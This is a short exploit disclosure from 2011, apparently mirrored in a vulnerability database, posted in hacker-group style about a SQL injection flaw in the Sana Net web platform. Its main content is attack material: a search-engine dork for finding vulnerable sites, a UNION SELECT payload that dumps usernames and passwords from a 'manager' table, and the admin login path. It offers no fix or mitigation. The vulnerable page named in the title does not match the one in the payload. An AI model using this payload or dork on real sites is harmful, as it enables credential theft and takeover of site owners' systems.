Sana Net (viewpages.php?id) Remote SQL injection Vulnerability

2011-09-05T00:00:00
ID SECURITYVULNS:DOC:26962
Type securityvulns
Reporter Securityvulns
Modified 2011-09-05T00:00:00

Description

########################## IRANIAN THE BEST HACKERS IN THE WORLD
##############

Remote SQL injection Vulnerability

Sana Net (viewpages.php?id)

AuTh0r : Ehsan_Hp200

H0ME : www.ehsanhp.blogsky.com

Email : Ehsan_Hp200@Hotmail.com

Vendor : http://www.sana-net.com/

Persian Gulf 4 Ever!

Dork : inurl:"viewpages.php?id=" "طراحي و برنامه نویسی از شرکت طراحان سنا نت"

Exploite:

www.victim.com/viewgal.php?op=-1 union select 1,concat(username,0x3a,password),3,4 from manager

Admin Panel : www.victim.com/adminsite/login-form.php

SpeCial TanX To : Skote_Vahshat

######################### IRANIAN THE BEST HACKERS IN THE WORLD ##################